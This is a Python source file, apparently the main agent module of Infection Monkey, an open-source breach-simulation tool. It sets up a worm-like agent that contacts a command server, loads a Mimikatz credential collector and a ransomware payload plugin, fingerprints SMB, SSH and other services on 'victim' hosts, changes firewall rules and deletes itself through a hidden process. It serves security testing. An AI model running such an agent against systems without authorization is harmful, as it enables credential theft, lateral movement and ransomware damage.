monkey/monkey/infection_monkey/monkey.py

332 lines
13 KiB
Python

import argparse
import logging
import os
import subprocess
import sys
import time
from typing import List
import infection_monkey.tunnel as tunnel
from common.network.network_utils import address_to_ip_port
from common.utils.attack_utils import ScanStatus, UsageEnum
from common.version import get_version
from infection_monkey.config import GUID, WormConfiguration
from infection_monkey.control import ControlClient
from infection_monkey.credential_collectors import MimikatzCredentialCollector
from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel
from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory
from infection_monkey.network import NetworkInterface
from infection_monkey.network.elasticsearch_fingerprinter import ElasticSearchFingerprinter
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.http_fingerprinter import HTTPFingerprinter
from infection_monkey.network.info import get_local_network_interfaces
from infection_monkey.network.mssql_fingerprinter import MSSQLFingerprinter
from infection_monkey.network.smb_fingerprinter import SMBFingerprinter
from infection_monkey.network.ssh_fingerprinter import SSHFingerprinter
from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload
from infection_monkey.puppet.puppet import Puppet
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
from infection_monkey.telemetry.attack.t1107_telem import T1107Telem
from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import (
LegacyTelemetryMessengerAdapter,
)
from infection_monkey.telemetry.state_telem import StateTelem
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
from infection_monkey.utils.aws_environment_check import run_aws_environment_check
from infection_monkey.utils.environment import is_windows_os
from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir
from infection_monkey.utils.monkey_log_path import get_monkey_log_path
from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers
from infection_monkey.windows_upgrader import WindowsUpgrader
logger = logging.getLogger(__name__)
class InfectionMonkey:
def __init__(self, args):
logger.info("Monkey is initializing...")
self._singleton = SystemSingleton()
self._opts = self._get_arguments(args)
self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server)
self._default_server = self._opts.server
# TODO used in propogation phase
self._monkey_inbound_tunnel = None
self.telemetry_messenger = LegacyTelemetryMessengerAdapter()
@staticmethod
def _get_arguments(args):
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument("-p", "--parent")
arg_parser.add_argument("-t", "--tunnel")
arg_parser.add_argument("-s", "--server")
arg_parser.add_argument("-d", "--depth", type=int)
opts, _ = arg_parser.parse_known_args(args)
InfectionMonkey._log_arguments(opts)
return opts
@staticmethod
def _log_arguments(args):
arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()])
logger.info(f"Monkey started with arguments: {arg_string}")
def start(self):
if self._is_another_monkey_running():
logger.info("Another instance of the monkey is already running")
return
logger.info("Monkey is starting...")
self._set_propagation_depth(self._opts)
self._add_default_server_to_config(self._opts.server)
self._connect_to_island()
# TODO: Reevaluate who is responsible to send this information
if is_windows_os():
T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send()
run_aws_environment_check(self.telemetry_messenger)
should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop()
if should_stop:
logger.info("The Monkey Island has instructed this agent to stop")
return
if InfectionMonkey._is_upgrade_to_64_needed():
self._upgrade_to_64()
logger.info("32 bit Agent can't run on 64 bit system.")
return
self._setup()
self._master.start()
@staticmethod
def _set_propagation_depth(options):
if options.depth is not None:
WormConfiguration._depth_from_commandline = True
WormConfiguration.depth = options.depth
logger.debug("Setting propagation depth from command line")
logger.debug(f"Set propagation depth to {WormConfiguration.depth}")
@staticmethod
def _add_default_server_to_config(default_server: str):
if default_server:
if default_server not in WormConfiguration.command_servers:
logger.debug("Added default server: %s" % default_server)
WormConfiguration.command_servers.insert(0, default_server)
else:
logger.debug(
"Default server: %s is already in command servers list" % default_server
)
def _connect_to_island(self):
# Sets island's IP and port for monkey to communicate to
if self._current_server_is_set():
self._default_server = WormConfiguration.current_server
logger.debug("Default server set to: %s" % self._default_server)
else:
raise Exception(
"Monkey couldn't find server with {} default tunnel.".format(self._opts.tunnel)
)
ControlClient.wakeup(parent=self._opts.parent)
ControlClient.load_control_config()
def _current_server_is_set(self) -> bool:
if ControlClient.find_server(default_tunnel=self._opts.tunnel):
return True
return False
@staticmethod
def _is_upgrade_to_64_needed():
return WindowsUpgrader.should_upgrade()
def _upgrade_to_64(self):
self._singleton.unlock()
logger.info("32bit monkey running on 64bit Windows. Upgrading.")
WindowsUpgrader.upgrade(self._opts)
logger.info("Finished upgrading from 32bit to 64bit.")
def _setup(self):
logger.debug("Starting the setup phase.")
if firewall.is_enabled():
firewall.add_firewall_rule()
self._monkey_inbound_tunnel = ControlClient.create_control_tunnel()
if self._monkey_inbound_tunnel:
self._monkey_inbound_tunnel.start()
StateTelem(is_done=False, version=get_version()).send()
TunnelTelem().send()
self._build_master()
register_signal_handlers(self._master)
def _build_master(self):
local_network_interfaces = InfectionMonkey._get_local_network_interfaces()
puppet = InfectionMonkey._build_puppet()
victim_host_factory = self._build_victim_host_factory(local_network_interfaces)
self._master = AutomatedMaster(
puppet,
self.telemetry_messenger,
victim_host_factory,
ControlChannel(self._default_server, GUID),
local_network_interfaces,
)
@staticmethod
def _get_local_network_interfaces():
local_network_interfaces = get_local_network_interfaces()
for i in local_network_interfaces:
logger.debug(f"Found local interface {i.address}{i.netmask}")
return local_network_interfaces
@staticmethod
def _build_puppet() -> IPuppet:
puppet = Puppet()
puppet.load_plugin(
"MimikatzCollector",
MimikatzCredentialCollector(),
PluginType.CREDENTIAL_COLLECTOR,
)
puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)
return puppet
def _build_victim_host_factory(
self, local_network_interfaces: List[NetworkInterface]
) -> VictimHostFactory:
on_island = self._running_on_island(local_network_interfaces)
logger.debug(f"This agent is running on the island: {on_island}")
return VictimHostFactory(
self._monkey_inbound_tunnel, self._cmd_island_ip, self._cmd_island_port, on_island
)
def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool:
server_ip, _ = address_to_ip_port(self._default_server)
return server_ip in {interface.address for interface in local_network_interfaces}
def _is_another_monkey_running(self):
return not self._singleton.try_lock()
def cleanup(self):
logger.info("Monkey cleanup started")
self._wait_for_exploited_machine_connection()
try:
if self._is_upgrade_to_64_needed():
logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)")
return
if self._master:
self._master.cleanup()
reset_signal_handlers()
if self._monkey_inbound_tunnel:
self._monkey_inbound_tunnel.stop()
self._monkey_inbound_tunnel.join()
if firewall.is_enabled():
firewall.remove_firewall_rule()
firewall.close()
InfectionMonkey._self_delete()
InfectionMonkey._send_log()
StateTelem(
is_done=True, version=get_version()
).send() # Signal the server (before closing the tunnel)
# TODO: Determine how long between when we
# send telemetry and the monkey actually exits
InfectionMonkey._close_tunnel()
self._singleton.unlock()
except Exception as e:
logger.error(f"An error occurred while cleaning up the monkey agent: {e}")
InfectionMonkey._self_delete()
logger.info("Monkey is shutting down")
def _wait_for_exploited_machine_connection(self):
# TODO check for actual exploitation
machines_exploited = False
# if host was exploited, before continue to closing the tunnel ensure the exploited
# host had its chance to
# connect to the tunnel
if machines_exploited:
time_to_sleep = WormConfiguration.keep_tunnel_open_time
logger.info(
"Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep
)
time.sleep(time_to_sleep)
@staticmethod
def _close_tunnel():
tunnel_address = (
ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0]
)
if tunnel_address:
logger.info("Quitting tunnel %s", tunnel_address)
tunnel.quit_tunnel(tunnel_address)
@staticmethod
def _send_log():
monkey_log_path = get_monkey_log_path()
if os.path.exists(monkey_log_path):
with open(monkey_log_path, "r") as f:
log = f.read()
else:
log = ""
ControlClient.send_log(log)
@staticmethod
def _self_delete():
status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED
T1107Telem(status, get_monkey_dir_path()).send()
if -1 == sys.executable.find("python"):
try:
status = None
if "win32" == sys.platform:
from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
subprocess.Popen(
DELAY_DELETE_CMD % {"file_path": sys.executable},
stdin=None,
stdout=None,
stderr=None,
close_fds=True,
startupinfo=startupinfo,
)
else:
os.remove(sys.executable)
status = ScanStatus.USED
except Exception as exc:
logger.error("Exception in self delete: %s", exc)
status = ScanStatus.SCANNED
if status:
T1107Telem(status, sys.executable).send()